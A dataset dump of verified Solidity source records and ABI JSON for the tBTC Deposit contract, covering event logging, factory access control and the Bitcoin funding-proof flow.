ideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
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Deposit | solidity/contracts/deposit/OutsourceDepositLogging.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {DepositLog} from "../DepositLog.sol";
import {DepositUtils} from "./DepositUtils.sol";
library OutsourceDepositLogging {
/// @notice Fires a Created event.
/// @dev `DepositLog.logCreated` fires a Created event with
/// _keepAddress, msg.sender and block.timestamp.
/// msg.sender will be the calling Deposit's address.
/// @param _keepAddress The address of the associated keep.
function logCreated(DepositUtils.Deposit storage _d, address _keepAddress) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logCreated(_keepAddress);
}
/// @notice Fires a RedemptionRequested event.
/// @dev This is the only event without an explicit timestamp.
/// @param _redeemer The ethereum address of the redeemer.
/// @param _digest The calculated sighash digest.
/// @param _utxoValue The size of the utxo in sat.
/// @param _redeemerOutputScript The redeemer's length-prefixed output script.
/// @param _requestedFee The redeemer or bump-system specified fee.
/// @param _outpoint The 36 byte outpoint.
/// @return True if successful, else revert.
function logRedemptionRequested(
DepositUtils.Deposit storage _d,
address _redeemer,
bytes32 _digest,
uint256 _utxoValue,
bytes memory _redeemerOutputScript,
uint256 _requestedFee,
bytes memory _outpoint
) public { // not external to allow bytes memory parameters
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logRedemptionRequested(
_redeemer,
_digest,
_utxoValue,
_redeemerOutputScript,
_requestedFee,
_outpoint
);
}
/// @notice Fires a GotRedemptionSignature event.
/// @dev We append the sender, which is the deposit contract that called.
/// @param _digest Signed digest.
/// @param _r Signature r value.
/// @param _s Signature s value.
/// @return True if successful, else revert.
function logGotRedemptionSignature(
DepositUtils.Deposit storage _d,
bytes32 _digest,
bytes32 _r,
bytes32 _s
) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logGotRedemptionSignature(
_digest,
_r,
_s
);
}
/// @notice Fires a RegisteredPubkey event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logRegisteredPubkey(
DepositUtils.Deposit storage _d,
bytes32 _signingGroupPubkeyX,
bytes32 _signingGroupPubkeyY
) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logRegisteredPubkey(
_signingGroupPubkeyX,
_signingGroupPubkeyY);
}
/// @notice Fires a SetupFailed event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logSetupFailed(DepositUtils.Deposit storage _d) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logSetupFailed();
}
/// @notice Fires a FunderAbortRequested event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logFunderRequestedAbort(
DepositUtils.Deposit storage _d,
bytes memory _abortOutputScript
) public { // not external to allow bytes memory parameters
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logFunderRequestedAbort(_abortOutputScript);
}
/// @notice Fires a FraudDuringSetup event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logFraudDuringSetup(DepositUtils.Deposit storage _d) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logFraudDuringSetup();
}
/// @notice Fires a Funded event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logFunded(DepositUtils.Deposit storage _d, bytes32 _txid) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logFunded(_txid);
}
/// @notice Fires a CourtesyCalled event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logCourtesyCalled(DepositUtils.Deposit storage _d) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logCourtesyCalled();
}
/// @notice Fires a StartedLiquidation event.
/// @dev We append the sender, which is the deposit contract that called.
/// @param _wasFraud True if liquidating for fraud.
function logStartedLiquidation(DepositUtils.Deposit storage _d, bool _wasFraud) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logStartedLiquidation(_wasFraud);
}
/// @notice Fires a Redeemed event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logRedeemed(DepositUtils.Deposit storage _d, bytes32 _txid) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logRedeemed(_txid);
}
/// @notice Fires a Liquidated event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logLiquidated(DepositUtils.Deposit storage _d) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logLiquidated();
}
/// @notice Fires a ExitedCourtesyCall event.
/// @dev The logger is on a system contract, so all logs from all deposits are from the same address.
function logExitedCourtesyCall(DepositUtils.Deposit storage _d) external {
DepositLog _logger = DepositLog(address(_d.tbtcSystem));
_logger.logExitedCourtesyCall();
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"auctionValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"collateralizationPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exitCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"fundingInfo","outputs":[{"internalType":"bytes8","name":"utxoValueBytes","type":"bytes8"},{"internalType":"uint256","name":"fundedAt","type":"uint256"},{"internalType":"bytes","name":"utxoOutpoint","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getOwnerRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"inActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_previousOutputValueBytes","type":"bytes8"},{"internalType":"bytes8","name":"_newOutputValueBytes","type":"bytes8"}],"name":"increaseRedemptionFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialCollateralizedPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract 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FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
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Deposit | solidity/contracts/system/DepositFactoryAuthority.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
/// @title Deposit Factory Authority
/// @notice Contract to secure function calls to the Deposit Factory.
/// @dev Secured by setting the depositFactory address and using the onlyFactory
/// modifier on functions requiring restriction.
contract DepositFactoryAuthority {
bool internal _initialized = false;
address internal _depositFactory;
/// @notice Set the address of the System contract on contract
/// initialization.
/// @dev Since this function is not access-controlled, it should be called
/// transactionally with contract instantiation. In cases where a
/// regular contract directly inherits from DepositFactoryAuthority,
/// that should happen in the constructor. In cases where the inheritor
/// is binstead used via a clone factory, the same function that
/// creates a new clone should also trigger initialization.
function initialize(address _factory) public {
require(_factory != address(0), "Factory cannot be the zero address.");
require(! _initialized, "Factory can only be initialized once.");
_depositFactory = _factory;
_initialized = true;
}
/// @notice Function modifier ensures modified function is only called by set deposit factory.
modifier onlyFactory(){
require(_initialized, "Factory initialization must have been called.");
require(msg.sender == _depositFactory, "Caller must be depositFactory contract");
_;
}
} | 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ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract 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Deposit | solidity/contracts/deposit/DepositFunding.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {BytesLib} from "@summa-tx/bitcoin-spv-sol/contracts/BytesLib.sol";
import {BTCUtils} from "@summa-tx/bitcoin-spv-sol/contracts/BTCUtils.sol";
import {IBondedECDSAKeep} from "@keep-network/keep-ecdsa/contracts/api/IBondedECDSAKeep.sol";
import {SafeMath} from "openzeppelin-solidity/contracts/math/SafeMath.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {DepositUtils} from "./DepositUtils.sol";
import {DepositLiquidation} from "./DepositLiquidation.sol";
import {DepositStates} from "./DepositStates.sol";
import {OutsourceDepositLogging} from "./OutsourceDepositLogging.sol";
import {TBTCConstants} from "../system/TBTCConstants.sol";
library DepositFunding {
using SafeMath for uint256;
using SafeMath for uint64;
using BTCUtils for bytes;
using BytesLib for bytes;
using DepositUtils for DepositUtils.Deposit;
using DepositStates for DepositUtils.Deposit;
using DepositLiquidation for DepositUtils.Deposit;
using OutsourceDepositLogging for DepositUtils.Deposit;
/// @notice Deletes state after funding.
/// @dev This is called when we go to ACTIVE or setup fails without fraud.
function fundingTeardown(DepositUtils.Deposit storage _d) internal {
_d.signingGroupRequestedAt = 0;
_d.fundingProofTimerStart = 0;
}
/// @notice Deletes state after the funding ECDSA fraud process.
/// @dev This is only called as we transition to setup failed.
function fundingFraudTeardown(DepositUtils.Deposit storage _d) internal {
_d.keepAddress = address(0);
_d.signingGroupRequestedAt = 0;
_d.fundingProofTimerStart = 0;
_d.signingGroupPubkeyX = bytes32(0);
_d.signingGroupPubkeyY = bytes32(0);
}
/// @notice Internally called function to set up a newly created Deposit
/// instance. This should not be called by developers, use
/// `DepositFactory.createDeposit` to create a new deposit.
/// @dev If called directly, the transaction will revert since the call will
/// be executed on an already set-up instance.
/// @param _d Deposit storage pointer.
/// @param _lotSizeSatoshis Lot size in satoshis.
function initialize(
DepositUtils.Deposit storage _d,
uint64 _lotSizeSatoshis
) public {
require(_d.tbtcSystem.getAllowNewDeposits(), "New deposits aren't allowed.");
require(_d.inStart(), "Deposit setup already requested");
_d.lotSizeSatoshis = _lotSizeSatoshis;
_d.keepSetupFee = _d.tbtcSystem.getNewDepositFeeEstimate();
// Note: this is a library, and library functions cannot be marked as
// payable. Thus, we disable Solium's check that msg.value can only be
// used in a payable function---this restriction actually applies to the
// caller of this `initialize` function, Deposit.initializeDeposit.
/* solium-disable-next-line value-in-payable */
_d.keepAddress = _d.tbtcSystem.requestNewKeep.value(msg.value)(
_lotSizeSatoshis,
TBTCConstants.getDepositTerm()
);
require(_d.fetchBondAmount() >= _d.keepSetupFee, "Insufficient signer bonds to cover setup fee");
_d.signerFeeDivisor = _d.tbtcSystem.getSignerFeeDivisor();
_d.undercollateralizedThresholdPercent = _d.tbtcSystem.getUndercollateralizedThresholdPercent();
_d.severelyUndercollateralizedThresholdPercent = _d.tbtcSystem.getSeverelyUndercollateralizedThresholdPercent();
_d.initialCollateralizedPercent = _d.tbtcSystem.getInitialCollateralizedPercent();
_d.signingGroupRequestedAt = block.timestamp;
_d.setAwaitingSignerSetup();
_d.logCreated(_d.keepAddress);
}
/// @notice Anyone may notify the contract that signing group setup has timed out.
/// @param _d Deposit storage pointer.
function notifySignerSetupFailed(DepositUtils.Deposit storage _d) external {
require(_d.inAwaitingSignerSetup(), "Not awaiting setup");
require(
block.timestamp > _d.signingGroupRequestedAt.add(TBTCConstants.getSigningGroupFormationTimeout()),
"Signing group formation timeout not yet elapsed"
);
// refund the deposit owner the cost to create a new Deposit at the time the Deposit was opened.
uint256 _seized = _d.seizeSignerBonds();
if(_seized >= _d.keepSetupFee){
/* solium-disable-next-line security/no-send */
_d.enableWithdrawal(_d.depositOwner(), _d.keepSetupFee);
_d.pushFundsToKeepGroup(_seized.sub(_d.keepSetupFee));
}
_d.setFailedSetup();
_d.logSetupFailed();
fundingTeardown(_d);
}
/// @notice we poll the Keep contract to retrieve our pubkey.
/// @dev We store the pubkey as 2 bytestrings, X and Y.
/// @param _d Deposit storage pointer.
/// @return True if successful, otherwise revert.
function retrieveSignerPubkey(DepositUtils.Deposit storage _d) public {
require(_d.inAwaitingSignerSetup(), "Not currently awaiting signer setup");
bytes memory _publicKey = IBondedECDSAKeep(_d.keepAddress).getPublicKey();
require(_publicKey.length == 64, "public key not set or not 64-bytes long");
_d.signingGroupPubkeyX = _publicKey.slice(0, 32).toBytes32();
_d.signingGroupPubkeyY = _publicKey.slice(32, 32).toBytes32();
require(_d.signingGroupPubkeyY != bytes32(0) && _d.signingGroupPubkeyX != bytes32(0), "Keep returned bad pubkey");
_d.fundingProofTimerStart = block.timestamp;
_d.setAwaitingBTCFundingProof();
_d.logRegisteredPubkey(
_d.signingGroupPubkeyX,
_d.signingGroupPubkeyY);
}
/// @notice Anyone may notify the contract that the funder has failed to
/// prove that they have sent BTC in time.
/// @dev This is considered a funder fault, and the funder's payment for
/// opening the deposit is not refunded. Reverts if the funding timeout
/// has not yet elapsed, or if the deposit is not currently awaiting
/// funding proof.
/// @param _d Deposit storage pointer.
function notifyFundingTimedOut(DepositUtils.Deposit storage _d) external {
require(_d.inAwaitingBTCFundingProof(), "Funding timeout has not started");
require(
block.timestamp > _d.fundingProofTimerStart.add(TBTCConstants.getFundingTimeout()),
"Funding timeout has not elapsed."
);
_d.setFailedSetup();
_d.logSetupFailed();
_d.closeKeep();
fundingTeardown(_d);
}
/// @notice Requests a funder abort for a failed-funding deposit; that is,
/// requests return of a sent UTXO to `_abortOutputScript`. This can
/// be used for example when a UTXO is sent that is the wrong size
/// for the lot. Must be called after setup fails for any reason,
/// and imposes no requirement or incentive on the signing group to
/// return the UTXO.
/// @dev This is a self-admitted funder fault, and should only be callable
/// by the TDT holder.
/// @param _d Deposit storage pointer.
/// @param _abortOutputScript The output script the funder wishes to request
/// a return of their UTXO to.
function requestFunderAbort(
DepositUtils.Deposit storage _d,
bytes memory _abortOutputScript
) public { // not external to allow bytes memory parameters
require(
_d.inFailedSetup(),
"The deposit has not failed funding"
);
_d.logFunderRequestedAbort(_abortOutputScript);
}
/// @notice Anyone can provide a signature that was not requested to prove fraud during funding.
/// @dev Calls out to the keep to verify if there was fraud.
/// @param _d Deposit storage pointer.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value.
/// @param _signedDigest The digest signed by the signature vrs tuple.
/// @param _preimage The sha256 preimage of the digest.
/// @return True if successful, otherwise revert.
function provideFundingECDSAFraudProof(
DepositUtils.Deposit storage _d,
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public { // not external to allow bytes memory parameters
require(
_d.inAwaitingBTCFundingProof(),
"Signer fraud during funding flow only available while awaiting funding"
);
_d.submitSignatureFraud(_v, _r, _s, _signedDigest, _preimage);
_d.logFraudDuringSetup();
// Allow deposit owner to withdraw seized bonds after contract termination.
uint256 _seized = _d.seizeSignerBonds();
_d.enableWithdrawal(_d.depositOwner(), _seized);
fundingFraudTeardown(_d);
_d.setFailedSetup();
_d.logSetupFailed();
}
/// @notice Anyone may notify the deposit of a funding proof to activate the deposit.
/// This is the happy-path of the funding flow. It means that we have succeeded.
/// @dev Takes a pre-parsed transaction and calculates values needed to verify funding.
/// @param _d Deposit storage pointer.
/// @param _txVersion Transaction version number (4-byte LE).
/// @param _txInputVector All transaction inputs prepended by the number of inputs encoded as a VarInt, max 0xFC(252) inputs.
/// @param _txOutputVector All transaction outputs prepended by the number of outputs encoded as a VarInt, max 0xFC(252) outputs.
/// @param _txLocktime Final 4 bytes of the transaction.
/// @param _fundingOutputIndex Index of funding output in _txOutputVector (0-indexed).
/// @param _merkleProof The merkle proof of transaction inclusion in a block.
/// @param _txIndexInBlock Transaction index in the block (0-indexed).
/// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers, lowest height first.
function provideBTCFundingProof(
DepositUtils.Deposit storage _d,
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
uint8 _fundingOutputIndex,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public { // not external to allow bytes memory parameters
require(_d.inAwaitingBTCFundingProof(), "Not awaiting funding");
bytes8 _valueBytes;
bytes memory _utxoOutpoint;
(_valueBytes, _utxoOutpoint) = _d.validateAndParseFundingSPVProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_fundingOutputIndex,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
// Write down the UTXO info and set to active. Congratulations :)
_d.utxoValueBytes = _valueBytes;
_d.utxoOutpoint = _utxoOutpoint;
_d.fundedAt = block.timestamp;
bytes32 _txid = abi.encodePacked(_txVersion, _txInputVector, _txOutputVector, _txLocktime).hash256();
fundingTeardown(_d);
_d.setActive();
_d.logFunded(_txid);
}
} | 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ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"